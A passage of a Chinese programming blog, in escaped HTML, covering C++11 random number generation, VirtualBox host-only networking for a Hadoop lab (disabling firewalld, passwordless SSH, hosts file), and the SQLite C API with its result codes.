class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;SuperBart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"如何更加省心地随便编个数\"\u003e如何更加省心地随便编个数\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e先引入 C++ 11 标准的全新标准库 \u003ccode\u003erandom\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e先找个能生成随机种子的随机数引擎,我用的是 \u003ccode\u003erandom_device\u003c/code\u003e,在 Linux 上相当于读取 \u003ccode\u003e/dev/urandom\u003c/code\u003e 产生的随机数。我们不使用该引擎生成随机数,因为根据原理,在生成随机数的时候,会产生大量的输入输出中断,一定程度上影响性能,而且会下降 \u003ccode\u003e/dev/urandom\u003c/code\u003e 生成随机数的质量。\u003c/li\u003e\n\u003cli\u003e然后利用上述引擎,生成我们要用的引擎 \u003ccode\u003edefault_random_engine\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e我们利用该随机数引擎,生成随机数。由于我们这里使用无符号的随机数,遵循均匀分布,我们使用 \u003ccode\u003euniform_int_distribution\u0026lt;uint\u0026gt;\u003c/code\u003e 类来生成之。\n顺便说一句,\u003ccode\u003erandom\u003c/code\u003e库还能支持你在概率论课程上学到的所有玩意,比如万恶的正态分布,泊松分布啥的。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"如何在虚拟机之间搞互联互通-以-virtualbox-为示例\"\u003e如何在虚拟机之间搞互联互通?—— 以 VirtualBox 为示例\u003c/h2\u003e\n\u003cp\u003e为了 Hadoop 的主从模式,我搞了三个虚拟机。\u003c/p\u003e\n\u003ch3 id=\"概述\"\u003e概述\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e管理 -\u0026gt; 主机网络管理器新建一个新网卡 vboxnet0\u003c/li\u003e\n\u003cli\u003e在每个虚拟机的设置中,设置网络为仅主机网络,界面名称 vboxnet0\u003c/li\u003e\n\u003cli\u003e每个虚拟机里面要设置好固定 ip ,关闭防火墙,和 ssh 免密码登录\u003c/li\u003e\n\u003cli\u003e(可选但推荐) 修改所有虚拟机的 host 文件,标记所有虚拟机的地址\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"截图主机网络管理器\"\u003e截图~主机网络管理器\u003c/h3\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/Random/VirtualBox-1.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/Random/VirtualBox-1.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e如果设置成功的话,你的宿主机应该可以 ping 到你的虚拟机。查看你电脑的 ip,可以执行 \u003ccode\u003eifconfig\u003c/code\u003e 或者 \u003ccode\u003eip a\u003c/code\u003e。\u003c/p\u003e\n\u003ch3 id=\"如何关闭网络防火墙\"\u003e如何关闭网络防火墙\u003c/h3\u003e\n\u003cp\u003e基本上我见到的 Linux 系统,防火墙软件都是 \u003ca class=\"link\" href=\"https://firewalld.org/\" target=\"_blank\" rel=\"noopener\"\n \u003efirewalld\u003c/a\u003e。关闭防火墙,也就是关掉这个服务。所以我们要执行\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo systemctl stop firewalld.service \u003cspan class=\"c1\"\u003e# 停止防火墙服务\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo systemctl disable firewalld.service \u003cspan class=\"c1\"\u003e# 防止防火墙开机自启动\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e说到这了,看看 Systemd 还能搞啥\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo systemctl status firewalld.service \u003cspan class=\"c1\"\u003e# 看看这玩意运行状态\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e另外,如果你安装的是 Ubuntu Server ,安装时候可以关掉防火墙选项的。如果你安装的是 OpenSUSE,你也可以在 YaST 里面关掉,或者开 22 和 23 端口。\u003c/p\u003e\n\u003ch3 id=\"如何设置免密码登录-ssh\"\u003e如何设置免密码登录 ssh\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ ssh-keygen\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e ~/.ssh\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ ssh-copy-id 另外一个虚拟机的用户名@另外一个虚拟机的ip\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ ssh 另外一个虚拟机的用户名@另外一个虚拟机的ip \u003cspan class=\"c1\"\u003e# 测试是否成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e注意,.ssh目录的权限为700,其下文件authorized_keys和私钥的权限为600。如有问题,请使用 chmod 修改。\u003c/p\u003e\n\u003ch2 id=\"修改-host-文件\"\u003e修改 Host 文件\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esudo nano /etc/hosts\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e修改方式是 ip + 电脑名称\u003c/p\u003e\n\u003ch2 id=\"c-语言的-sqlite-函数概览\"\u003eC 语言的 SQLite 函数概览\u003c/h2\u003e\n\u003cp\u003e为啥是 C 语言的,因为 Vala 的 SQLite 支持是把 C 语言支持的头文件给“照搬”了。\u003c/p\u003e\n\u003ch3 id=\"基础函数\"\u003e基础函数\u003c/h3\u003e\n\u003cp\u003e通过这个方式来创建一个 SQLite 结构体:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esqlite\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e通过这个方式,打开一个数据库:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_open\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003efilename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 文件所在的路径 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eppDb\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 对应的 SQLite 结构体 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e通过这个方式,来在这个数据库上执行 SQL 语句:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 要执行的数据库 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 执行语句 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite_callback\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 回调 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 回调参数 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 接受错误信息的字符串 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e使用完数据库后,通过这个函数释放数据库。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_close\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 你需要关闭的数据库 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"函数返回值\"\u003e函数返回值\u003c/h3\u003e\n\u003cp\u003eSQLite 里面的函数在执行的时候,都会有一个返回值。在 C 语言头文件里面,是一堆 define 。以下是 sqlite3.h 文件里面的东西。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** sqlite3.h, version 3.40.0, line 433-476.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** CAPI3REF: Result Codes\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** KEYWORDS: {result code definitions}\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** 返回值 要点:返回值和定义\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** Many SQLite functions return an integer result code from the set shown\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** here in order to indicate success or failure.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** 许多 SQLite 函数的返回值是下面定义的整型,以反映成功/失败状态。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** New error codes may be added in future versions of SQLite.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** 新的错误码将会在未来版本加入。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** See also: [extended result code definitions]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** 还有扩充版返回值定义:-P\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_OK 0 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Successful result */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* beginning-of-error-codes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* 除了0之外全是出错 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_ERROR 1 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Generic error */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_INTERNAL 2 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Internal logic error in SQLite */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_PERM 3 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Access permission denied */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_ABORT 4 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Callback routine requested an abort */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_BUSY 5 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database file is locked */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_LOCKED 6 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* A table in the database is locked */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOMEM 7 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* A malloc() failed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_READONLY 8 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Attempt to write a readonly database */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_INTERRUPT 9 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Operation terminated by sqlite3_interrupt()*/\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_IOERR 10 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Some kind of disk I/O error occurred */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CORRUPT 11 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database disk image is malformed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTFOUND 12 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Unknown opcode in sqlite3_file_control() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_FULL 13 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Insertion failed because database is full */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CANTOPEN 14 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Unable to open the database file */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_PROTOCOL 15 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Database lock protocol error */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_EMPTY 16 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Internal use only */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_SCHEMA 17 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database schema changed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_TOOBIG 18 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* String or BLOB exceeds size limit */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CONSTRAINT 19 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Abort due to constraint violation */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_MISMATCH 20 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Data type mismatch */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_MISUSE 21 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Library used incorrectly */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOLFS 22 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Uses OS features not supported on host */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_AUTH 23 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Authorization denied */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_FORMAT 24 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Not used */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_RANGE 25 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 2nd parameter to sqlite3_bind out of range */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTADB 26 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* File opened that is not a database file */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTICE 27 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Notifications from sqlite3_log() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_WARNING 28 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Warnings from sqlite3_log() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_ROW 100 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* sqlite3_step() has another row ready */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_DONE 101 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* sqlite3_step() has finished executing */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* end-of-error-codes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e看看 SQLite 的头文件吧,很详细的。\u003c/p\u003e\n\u003ch2 id=\"使用-sqlite-声明\"\u003e使用 SQLite 声明\u003c/h2\u003e\n\u003cp\u003e使用 SQLite 声明来执行 SQL 语句,比直接调用 exec 更高效。\u003c/p\u003e\n\u003cp\u003e首先,你需要写好一个 SQL 语句,碰到待定的地方可以用问号,或者 \u003ccode\u003e$xxx\u003c/code\u003e 等形式表示。以下是我程序里面的示例:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eADD_HOTEL_DATA\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eINSERT\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eINTO\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHOTEL\u003c/span\u003e\u003cspan 